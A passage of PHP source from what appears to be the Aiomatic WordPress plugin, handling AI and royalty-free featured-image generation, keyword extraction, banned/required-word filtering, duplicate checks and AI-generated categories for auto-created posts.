                                                    $ai_command_image = $ai_command_image[array_rand($ai_command_image)];
                                                }
                                                else
                                                {
                                                    $ai_command_image = '';
                                                }
                                            }
                                            $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                            if(!empty($ai_command_image))
                                            {
                                                $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                            }
                                            else
                                            {
                                                $ai_command_image = trim(strip_tags($post_title));
                                            }
                                            $ai_command_image = trim($ai_command_image);
                                            if (filter_var($ai_command_image, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_command_image, '.txt'))
                                            {
                                                $txt_content = aiomatic_get_web_page($ai_command_image);
                                                if ($txt_content !== FALSE) 
                                                {
                                                    $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                                    $txt_content = array_filter($txt_content);
                                                    if(count($txt_content) > 0)
                                                    {
                                                        $txt_content = $txt_content[array_rand($txt_content)];
                                                        if(trim($txt_content) != '') 
                                                        {
                                                            $ai_command_image = $txt_content;
                                                            $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                                            $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                        }
                                                    }
                                                }
                                            }
                                            if(empty($ai_command_image))
                                            {
                                                aiomatic_log_to_file('Empty API featured image seed expression provided!');
                                            }
                                            else
                                            {
                                                if(strlen($ai_command_image) > 2000)
                                                {
                                                    $ai_command_image = aiomatic_substr($ai_command_image, 0, 2000);
                                                }
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                {
                                                    $api_service = 'Midjourney';
                                                    aiomatic_log_to_file('Calling ' . $api_service . ' for featured image: ' . $ai_command_image);
                                                }
                                                if($image_size == '256x256')
                                                {
                                                    $width = '512';
                                                    $height = '512';
                                                }
                                                elseif($image_size == '512x512')
                                                {
                                                    $width = '512';
                                                    $height = '512';
                                                }
                                                elseif($image_size == '1024x1024')
                                                {
                                                    $width = '1024';
                                                    $height = '1024';
                                                }
                                                elseif($image_size == '1792x1024')
                                                {
                                                    $width = '1792';
                                                    $height = '1024';
                                                }
                                                elseif($image_size == '1024x1792')
                                                {
                                                    $width = '1024';
                                                    $height = '1792';
                                                }
                                                else
                                                {
                                                    $width = '512';
                                                    $height = '512';
                                                }
                                                $skip_this_copy = true;
                                                if(!function_exists('is_plugin_active'))
                                                {
                                                    include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                                }
                                                if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on') 
                                                {
                                                    $skip_this_copy = false;
                                                }
                                                $ierror = '';
                                                aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating Midjourney AI image'));
                                                $get_img = aiomatic_generate_ai_image_midjourney($ai_command_image, $width, $height, 'featuredMidjourneyImage', $skip_this_copy, $ierror);
                                                if($get_img !== false)
                                                {
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                    {
                                                        aiomatic_log_to_file('AI generated featured image returned: ' . $get_img[1]);
                                                    }
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('Failed to generate Midjourney featured image: ' . $ierror);
                                                    $get_img = '';
                                                }
                                            }
                                        }
                                        else
                                        {
                                            aiomatic_log_to_file('Empty AI featured image query entered.');
                                        }
                                    }
                                    elseif($enable_ai_images == '3')
                                    {
                                        if ($image_url != '') 
                                        {
                                            $replacement = str_replace(array('[', ']'), '', $query_words);
                                            $image_url_temp = str_replace('%%item_title%%', $replacement, $image_url);
                                            $image_url_temp = preg_replace_callback('#%%random_image\[([^\]]*?)\](\[\d+\])?%%#', function ($matches) {
                                                if(isset($matches[2]))
                                                {
                                                    $chance = trim($matches[2], '[]');
                                                }
                                                else
                                                {
                                                    $chance = '';
                                                }
                                                $arv = array();
                                                $my_img = aiomatic_get_random_image_google($matches[1], 0, 0, $chance, $arv);
                                                return $my_img;
                                            }, $image_url_temp);
                                            $img_rulx = $spintax->Parse(trim($image_url_temp));
                                            $selected_img = aiomatic_select_ai_image($post_title, $img_rulx);
                                            if($selected_img === false)
                                            {
                                                $img_rulx = explode(',', $img_rulx);
                                                $img_rulx = trim($img_rulx[array_rand($img_rulx)]);
                                                if($img_rulx != '')
                                                {
                                                    $get_img = $img_rulx;
                                                }
                                            }
                                            else
                                            {
                                                $get_img = $selected_img;
                                            }
                                        }
                                    }
                                    else
                                    {
                                        $image_query_set = false;
                                        $query_words = '';
                                        $ai_command_image = '';
                                        if($orig_ai_command_image == '')
                                        {
                                            $orig_ai_command_image = $image_query;
                                        }
                                        if($orig_ai_command_image != '')
                                        {
                                            $ai_command_image = $orig_ai_command_image;
                                            if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on')
                                            {
                                                $ai_command_image = preg_split('/\r\n|\r|\n/', $ai_command_image);
                                                $ai_command_image = array_filter($ai_command_image);
                                                if(count($ai_command_image) > 0)
                                                {
                                                    $ai_command_image = $ai_command_image[array_rand($ai_command_image)];
                                                }
                                                else
                                                {
                                                    $ai_command_image = '';
                                                }
                                            }
                                            $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                            if(!empty($ai_command_image))
                                            {
                                                $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                            }
                                            else
                                            {
                                                $ai_command_image = trim(strip_tags($post_title));
                                            }
                                            $ai_command_image = trim($ai_command_image);
                                            if (filter_var($ai_command_image, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_command_image, '.txt'))
                                            {
                                                $txt_content = aiomatic_get_web_page($ai_command_image);
                                                if ($txt_content !== FALSE) 
                                                {
                                                    $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                                    $txt_content = array_filter($txt_content);
                                                    if(count($txt_content) > 0)
                                                    {
                                                        $txt_content = $txt_content[array_rand($txt_content)];
                                                        if(trim($txt_content) != '') 
                                                        {
                                                            $ai_command_image = $txt_content;
                                                            $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                                            $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                        }
                                                    }
                                                }
                                            }
                                        }
                                        if($ai_command_image != '')
                                        {
                                            $query_words = $ai_command_image;
                                            $image_query = $ai_command_image;
                                            $image_query_set = true;
                                        }
                                        if(isset($aiomatic_Main_Settings['improve_keywords']) && trim($aiomatic_Main_Settings['improve_keywords']) == 'textrazor')
                                        {
                                            if(isset($aiomatic_Main_Settings['textrazor_key']) && trim($aiomatic_Main_Settings['textrazor_key']) != '')
                                            {
                                                try
                                                {
                                                    if(!class_exists('TextRazor'))
                                                    {
                                                        require_once(dirname(__FILE__) . "/res/TextRazor.php");
                                                    }
                                                    TextRazorSettings::setApiKey(trim($aiomatic_Main_Settings['textrazor_key']));
                                                    $textrazor = new TextRazor();
                                                    $textrazor->addExtractor('entities');
                                                    $response = $textrazor->analyze($image_query);
                                                    if (isset($response['response']['entities'])) 
                                                    {
                                                        foreach ($response['response']['entities'] as $entity) 
                                                        {
                                                            $query_words = '';
                                                            if(isset($entity['entityEnglishId']))
                                                            {
                                                                $query_words = $entity['entityEnglishId'];
                                                            }
                                                            else
                                                            {
                                                                $query_words = $entity['entityId'];
                                                            }
                                                            if($query_words != '')
                                                            {
                                                                $z_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $img_attr, 10, true, $raw_img_list, array(), $full_result_list);
                                                                if(!empty($z_img))
                                                                {
                                                                    $get_img = $z_img;
                                                                    $go_local_image = false;
                                                                    if(!function_exists('is_plugin_active'))
                                                                    {
                                                                        include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                                                    }
                                                                    if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on' && isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled' && $aiomatic_Main_Settings['copy_locally'] != 'on') 
                                                                    {
                                                                        $go_local_image = true;
                                                                    }
                                                                    if($go_local_image == true)
                                                                    {
                                                                        $localpath = aiomatic_copy_image_locally($get_img);
                                                                        if($localpath !== false)
                                                                        {
                                                                            $get_img = $localpath[0];
                                                                        }
                                                                    }
                                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                                        aiomatic_log_to_file('Royalty Free Image Generated with help of TextRazor (kw: "' . $query_words . '"): ' . $z_img);
                                                                    }
                                                                    break;
                                                                }
                                                            }
                                                        }
                                                    }
                                                }
                                                catch(Exception $e)
                                                {
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                        aiomatic_log_to_file('Failed to search for keywords using TextRazor (2): ' . $e->getMessage());
                                                    }
                                                }
                                            }
                                        }
                                        elseif(isset($aiomatic_Main_Settings['improve_keywords']) && trim($aiomatic_Main_Settings['improve_keywords']) == 'openai')
                                        {
                                            if(isset($aiomatic_Main_Settings['keyword_prompts']) && trim($aiomatic_Main_Settings['keyword_prompts']) != '')
                                            {
                                                if(isset($aiomatic_Main_Settings['keyword_model']) && $aiomatic_Main_Settings['keyword_model'] != '')
                                                {
                                                    $kw_model = $aiomatic_Main_Settings['keyword_model'];
                                                }
                                                else
                                                {
                                                    $kw_model = get_default_model_name($aiomatic_Main_Settings);
                                                }
                                                if(isset($aiomatic_Main_Settings['keyword_assistant_id']) && $aiomatic_Main_Settings['keyword_assistant_id'] != '')
                                                {
                                                    $keyword_assistant_id = $aiomatic_Main_Settings['keyword_assistant_id'];
                                                }
                                                else
                                                {
                                                    $keyword_assistant_id = '';
                                                }
                                                $title_ai_command = trim($aiomatic_Main_Settings['keyword_prompts']);
                                                $title_ai_command = str_replace('%%default_post_cats%%', $default_cat_list, $title_ai_command);
                                                if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on')
                                                {
                                                    $title_ai_command = preg_split('/\r\n|\r|\n/', $title_ai_command);
                                                    $title_ai_command = array_filter($title_ai_command);
                                                    if(count($title_ai_command) > 0)
                                                    {
                                                        $title_ai_command = $title_ai_command[array_rand($title_ai_command)];
                                                    }
                                                    else
                                                    {
                                                        $title_ai_command = '';
                                                    }
                                                }
                                                $title_ai_command = aiomatic_replaceSynergyShortcodes($title_ai_command);
                                                if(!empty($title_ai_command))
                                                {
                                                    $title_ai_command = replaceAIPostShortcodes($title_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                }
                                                $title_ai_command = trim($title_ai_command);
                                                if (filter_var($title_ai_command, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($title_ai_command, '.txt'))
                                                {
                                                    $txt_content = aiomatic_get_web_page($title_ai_command);
                                                    if ($txt_content !== FALSE) 
                                                    {
                                                        $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                                        $txt_content = array_filter($txt_content);
                                                        if(count($txt_content) > 0)
                                                        {
                                                            $txt_content = $txt_content[array_rand($txt_content)];
                                                            if(trim($txt_content) != '') 
                                                            {
                                                                $title_ai_command = $txt_content;
                                                                $title_ai_command = aiomatic_replaceSynergyShortcodes($title_ai_command);
                                                                $title_ai_command = replaceAIPostShortcodes($title_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                            }
                                                        }
                                                    }
                                                }
                                                if(empty($title_ai_command))
                                                {
                                                    aiomatic_log_to_file('Empty API keyword extractor seed expression provided!');
                                                    $title_ai_command = 'Type the most relevant keyword, no other text before or after it, for a blog post titled:  ' . trim(strip_tags($post_title));
                                                }
                                                if(strlen($title_ai_command) > $max_seed_tokens * 4)
                                                {
                                                    $title_ai_command = aiomatic_substr($title_ai_command, 0, (0 - ($max_seed_tokens * 4)));
                                                }
                                                $title_ai_command = trim($title_ai_command);
                                                if(empty($title_ai_command))
                                                {
                                                    aiomatic_log_to_file('Empty API title seed expression provided(3)! ' . print_r($title_ai_command, true));
                                                }
                                                else
                                                {
                                                    $query_token_count = count(aiomatic_encode($title_ai_command));
                                                    $available_tokens = aiomatic_compute_available_tokens($kw_model, $max_tokens, $title_ai_command, $query_token_count);
                                                    if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                                    {
                                                        $string_len = strlen($title_ai_command);
                                                        $string_len = $string_len / 2;
                                                        $string_len = intval(0 - $string_len);
                                                        $title_ai_command = aiomatic_substr($title_ai_command, 0, $string_len);
                                                        $title_ai_command = trim($title_ai_command);
                                                        $query_token_count = count(aiomatic_encode($title_ai_command));
                                                        $available_tokens = $max_tokens - $query_token_count;
                                                    }
                                                    $aierror = '';
                                                    $finish_reason = '';
                                                    if(!empty($global_prepend))
                                                    {
                                                        $title_ai_command = $global_prepend . ' ' . $title_ai_command;
                                                    }
                                                    if(!empty($global_append))
                                                    {
                                                        $title_ai_command = $title_ai_command . ' ' . $global_append;
                                                    }
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                    {
                                                        $api_service = aiomatic_get_api_service($token, $kw_model);
                                                        aiomatic_log_to_file('Calling ' . $api_service . ' (' . $keyword_assistant_id . '/' . $kw_model . ') for title text: ' . $title_ai_command);
                                                    }
                                                    aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating image search keywords'));
                                                    $generated_text = aiomatic_generate_text($token, $kw_model, $title_ai_command, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'keywordID' . $param, 0, $finish_reason, $aierror, true, false, false, '', '', 'user', $keyword_assistant_id, $thread_id, '', 'disabled', '', true);
                                                    if($generated_text === false)
                                                    {
                                                        aiomatic_log_to_file('Keyword generator error: ' . $aierror);
                                                        $ai_title = '';
                                                    }
                                                    else
                                                    {
                                                        $ai_title = trim(trim(trim(trim($generated_text), '.'), ' “â€â€˜â€™"\''));
                                                        $ai_titles = explode(',', $ai_title);
                                                        foreach($ai_titles as $query_words)
                                                        {
                                                            $z_img = aiomatic_get_free_image($aiomatic_Main_Settings, trim($query_words), $img_attr, 10, true, $raw_img_list, array(), $full_result_list);
                                                            if(!empty($z_img))
                                                            {
                                                                $get_img = $z_img;
                                                                $go_local_image = false;
                                                                if(!function_exists('is_plugin_active'))
                                                                {
                                                                    include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                                                }
                                                                if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on' && isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled' && $aiomatic_Main_Settings['copy_locally'] != 'on') 
                                                                {
                                                                    $go_local_image = true;
                                                                }
                                                                if($go_local_image == true)
                                                                {
                                                                    $localpath = aiomatic_copy_image_locally($get_img);
                                                                    if($localpath !== false)
                                                                    {
                                                                        $get_img = $localpath[0];
                                                                    }
                                                                }
                                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                                    aiomatic_log_to_file('Royalty Free Image Generated with help of AI (kw: "' . $query_words . '"): ' . $z_img);
                                                                }
                                                                break;
                                                            }
                                                        }
                                                    }
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                    {
                                                        $api_service = aiomatic_get_api_service($token, $kw_model);
                                                        aiomatic_log_to_file('Successfully got API keyword result from ' . $api_service . ': ' . $ai_title);
                                                    }
                                                }
                                            }
                                        }
                                        if(empty($get_img))
                                        {
                                            if($image_query_set == true && !empty($image_query))
                                            {
                                                aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating royalty free image'));
                                                $get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $image_query, $img_attr, 10, true, $raw_img_list, array(), $full_result_list);
                                                if($get_img == '' || $get_img === false)
                                                {
                                                    if(isset($aiomatic_Main_Settings['bimage']) && $aiomatic_Main_Settings['bimage'] == 'on')
                                                    {
                                                        $keyword_class = new Aiomatic_keywords();
                                                        $image_query = $keyword_class->keywords($image_query, 1);
                                                        $get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $image_query, $img_attr, 20, true, $raw_img_list, array(), $full_result_list);
                                                    }
                                                }
                                            }
                                            if(empty($get_img))
                                            {
                                                $keyword_class = new Aiomatic_keywords();
                                                $query_words = $keyword_class->keywords($post_title, 2);
                                                $get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $img_attr, 10, true, $raw_img_list, array(), $full_result_list);
                                                if($get_img == '' || $get_img === false)
                                                {
                                                    if(isset($aiomatic_Main_Settings['bimage']) && $aiomatic_Main_Settings['bimage'] == 'on')
                                                    {
                                                        $query_words = $keyword_class->keywords($post_title, 1);
                                                        $get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $img_attr, 20, true, $raw_img_list, array(), $full_result_list);
                                                        if($get_img == '' || $get_img === false)
                                                        {
                                                            if(isset($aiomatic_Main_Settings['no_royalty_skip']) && $aiomatic_Main_Settings['no_royalty_skip'] == 'on')
                                                            {
                                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                                    aiomatic_log_to_file('Skipping importing because no royalty free image found.');
                                                                }
                                                                unset($post_title_lines[$current_index]);
                                                                continue;
                                                            }
                                                        }
                                                    }
                                                    else
                                                    {
                                                        if(isset($aiomatic_Main_Settings['no_royalty_skip']) && $aiomatic_Main_Settings['no_royalty_skip'] == 'on')
                                                        {
                                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                                aiomatic_log_to_file('Skipping importing because no royalty free image found.');
                                                            }
                                                            unset($post_title_lines[$current_index]);
                                                            continue;
                                                        }
                                                    }
                                                }
                                            }
                                            if(!empty($get_img))
                                            {
                                                $go_local_image = false;
                                                if(!function_exists('is_plugin_active'))
                                                {
                                                    include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                                }
                                                if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on' && isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled' && $aiomatic_Main_Settings['copy_locally'] != 'on') 
                                                {
                                                    $go_local_image = true;
                                                }
                                                if($go_local_image == true)
                                                {
                                                    $localpath = aiomatic_copy_image_locally($get_img);
                                                    if($localpath !== false)
                                                    {
                                                        $get_img = $localpath[0];
                                                    }
                                                }
                                            }
                                        }
                                    }
                                }
                                elseif($royalty_free == '2')
                                {
                                    $get_img = $amazon_thumb;
                                }
                                if (isset($aiomatic_Main_Settings['spin_text']) && $aiomatic_Main_Settings['spin_text'] !== 'disabled') 
                                {
                                    $already_spinned = '1';
                                }
                                $my_post                              = array();
                                $my_post['aiomatic_post_image']       = $get_img;
                                if($enable_ai_images == '2')
                                {
                                    $my_post['aiomatic_local_image']      = '1';
                                }
                                else
                                {
                                    $my_post['aiomatic_local_image']      = '0';
                                }
                                $my_post['aiomatic_enable_pingbacks'] = $enable_pingback;
                                $my_post['default_category']          = $default_category;
                                $my_post['post_type']                 = $post_type;
                                $my_post['comment_status']            = $accept_comments;
                                if (isset($aiomatic_Main_Settings['draft_first']) && $aiomatic_Main_Settings['draft_first'] != 'on')
                                {
                                    if($post_status == 'publish')
                                    {
                                        $draft_me = true;
                                        $my_post['post_status'] = 'draft';
                                    }
                                    else
                                    {
                                        $my_post['post_status']   = $post_status;
                                    }
                                }
                                else
                                {
                                    $my_post['post_status']               = $post_status;
                                }
                                if($user_name_type == 'rand')
                                {
                                    $randid = aiomatic_display_random_user();
                                    if($randid === false)
                                    {
                                        $my_post['post_author']               = aiomatic_randomName();
                                    }
                                    else
                                    {
                                        $my_post['post_author']               = $randid->ID;
                                    }
                                }
                                else
                                {
                                    $my_post['post_author']               = $post_user_name;
                                }
                                if($strip_title == '1')
                                {
                                    $new_post_content = str_replace($post_title, '', $new_post_content);
                                    $new_post_content = str_replace('<h2></h2>', '', $new_post_content);
                                    $new_post_content = str_replace('<h3></h3>', '', $new_post_content);
                                }
                                if (isset($aiomatic_Main_Settings['swear_filter']) && $aiomatic_Main_Settings['swear_filter'] == 'on') 
                                {
                                    require_once(dirname(__FILE__) . "/res/swear.php");
                                    $new_post_content = aiomatic_filterwords($new_post_content);
                                }
                                if(isset($aiomatic_Main_Settings['global_ban_words']) && $aiomatic_Main_Settings['global_ban_words'] != '') {
                                    $continue    = false;
                                    $aiomatic_Main_Settings['global_ban_words'] = trim(trim(trim($aiomatic_Main_Settings['global_ban_words']), ','));
                                    $banned_list = explode(',', $aiomatic_Main_Settings['global_ban_words']);
                                    foreach ($banned_list as $banned_word) {
                                        if (stripos($new_post_content, trim($banned_word)) !== FALSE) {
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                aiomatic_log_to_file('Skipping post "' . esc_html($post_title) . '", because it\'s content contains global banned word: ' . $banned_word);
                                            }
                                            $continue = true;
                                            break;
                                        }
                                        if (stripos($post_title, trim($banned_word)) !== FALSE) {
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                aiomatic_log_to_file('Skipping post "' . esc_html($post_title) . '", because it\'s title contains global banned word: ' . $banned_word);
                                            }
                                            $continue = true;
                                            break;
                                        }
                                    }
                                    if ($continue === true) {
                                        continue;
                                    }
                                }
                                if(isset($aiomatic_Main_Settings['global_req_words']) && $aiomatic_Main_Settings['global_req_words'] != '')
                                {
                                    if(isset($aiomatic_Main_Settings['require_only_one']) && $aiomatic_Main_Settings['require_only_one'] == 'on')
                                    {
                                        $continue      = true;
                                        $aiomatic_Main_Settings['global_req_words'] = trim(trim(trim($aiomatic_Main_Settings['global_req_words']), ','));
                                        $required_list = explode(',', $aiomatic_Main_Settings['global_req_words']);
                                        foreach ($required_list as $required_word) {
                                            if (stripos($new_post_content, trim($required_word)) !== FALSE || stripos($post_title, trim($required_word)) !== FALSE) {
                                                $continue = false;
                                                break;
                                            }
                                        }
                                        if ($continue === true) {
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                aiomatic_log_to_file('Skipping post "' . esc_html($post_title) . '", because it\'s content doesn\'t contain global required words.');
                                            }
                                            continue;
                                        }
                                    }
                                    else
                                    {
                                        $continue      = false;
                                        $aiomatic_Main_Settings['global_req_words'] = trim(trim(trim($aiomatic_Main_Settings['global_req_words']), ','));
                                        $required_list = explode(',', $aiomatic_Main_Settings['global_req_words']);
                                        foreach ($required_list as $required_word) {
                                            if (stripos($new_post_content, trim($required_word)) === FALSE && stripos($post_title, trim($required_word)) === FALSE) {
                                                $continue = true;
                                                break;
                                            }
                                        }
                                        if ($continue === true) {
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                aiomatic_log_to_file('Skipping post "' . esc_html($post_title) . '", because it\'s content doesn\'t contain global required words.');
                                            }
                                            continue;
                                        }
                                    }
                                }
                                $new_post_title = $post_title;
                                if (isset($aiomatic_Main_Settings['spin_what']) && $aiomatic_Main_Settings['spin_what'] === 'omni') 
                                {
                                    $skip_spin = '1';
                                }
                                $arr = aiomatic_spin_and_translate($new_post_title, $new_post_content, '3', $skip_spin, $skip_translate);
                                if($arr[0] != $new_post_title)
                                {
                                    $new_post_title = $arr[0];
                                    if (!isset($aiomatic_Main_Settings['do_not_check_duplicates']) || $aiomatic_Main_Settings['do_not_check_duplicates'] != 'on') 
                                    {
                                        $posts = get_posts(
                                            array(
                                                'post_type'              => $post_type,
                                                'title'                  => html_entity_decode($new_post_title),
                                                'post_status'            => 'all',
                                                'numberposts'            => 1,
                                                'update_post_term_cache' => false,
                                                'update_post_meta_cache' => false,           
                                                'orderby'                => 'post_date ID',
                                                'order'                  => 'ASC',
                                            )
                                        );
                                        if ( ! empty( $posts ) ) {
                                            $zap = $posts[0];
                                        } else {
                                            $zap = null;
                                        }
                                        if($zap !== null)
                                        {
                                            if($overwrite_existing)
                                            {
                                                $update_post_id = $zap->ID;
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Post with specified title already existing (after spin/translate), skipping it: ' . $new_post_title);
                                                unset($post_title_lines[$current_index]);
                                                continue;
                                            }
                                        }
                                    }
                                }
                                $new_post_content            = $arr[1];
                                if (isset($aiomatic_Main_Settings['spin_text']) && $aiomatic_Main_Settings['spin_text'] !== 'disabled') 
                                {
                                    $already_spinned = '1';
                                }
                                if ($auto_categories == 'content') {
                                    $extra_categories            = aiomatic_extractKeyWords($new_post_content);
                                    $extra_categories            = implode(',', $extra_categories);
                                }
                                elseif ($auto_categories == 'title') {
                                    $extra_categories            = aiomatic_extractKeyWords($new_post_title);
                                    $extra_categories            = implode(',', $extra_categories);
                                }
                                elseif ($auto_categories == 'both') {
                                    $extra_categories            = aiomatic_extractKeyWords($new_post_content);
                                    $extra_categories            = implode(',', $extra_categories);
                                    $extra_categories2            = aiomatic_extractKeyWords($new_post_title);
                                    $extra_categories2            = implode(',', $extra_categories2);
                                    if($extra_categories2 != '')
                                    {
                                        $extra_categories .= ',' . $extra_categories2;
                                    }
                                }
                                elseif ($auto_categories == 'ai') 
                                {
                                    $category_ai_command = $orig_ai_command_category;
                                    if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on')
                                    {
                                        $category_ai_command = preg_split('/\r\n|\r|\n/', $category_ai_command);
                                        $category_ai_command = array_filter($category_ai_command);
                                        if(count($category_ai_command) > 0)
                                        {
                                            $category_ai_command = $category_ai_command[array_rand($category_ai_command)];
                                        }
                                        else
                                        {
                                            $category_ai_command = '';
                                        }
                                    }
                                    $category_ai_command = aiomatic_replaceSynergyShortcodes($category_ai_command);
                                    if(!empty($category_ai_command))
                                    {
                                        $category_ai_command = replaceAIPostShortcodes($category_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                        $category_ai_command = aiomatic_replace_review($category_ai_command, $post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $point_of_view, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count);
                                    }
                                    else
                                    {
                                        $category_ai_command = trim(strip_tags('Write a comma separated list of categories, for the post title: %%post_title%%'));
                                    }
                                    $category_ai_command = trim($category_ai_command);
                                    if (filter_var($category_ai_command, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($category_ai_command, '.txt'))
                                    {
                                        $txt_content = aiomatic_get_web_page($category_ai_command);
                                        if ($txt_content !== FALSE) 
                                        {
                                            $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                            $txt_content = array_filter($txt_content);
                                            if(count($txt_content) > 0)
                                            {
                                                $txt_content = $txt_content[array_rand($txt_content)];
                                                if(trim($txt_content) != '') 
                                                {
                                                    $category_ai_command = $txt_content;
                                                    $category_ai_command = aiomatic_replaceSynergyShortcodes($category_ai_command);
                                                    $category_ai_command = replaceAIPostShortcodes($category_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                    $category_ai_command = aiomatic_replace_review($category_ai_command, $post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $point_of_view, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count);
                                                }
                                            }
                                        }
                                    }
                                    if(empty($category_ai_command))
                                    {
                                        aiomatic_log_to_file('Empty API post category seed expression provided!');
                                    }
                                    else
                                    {
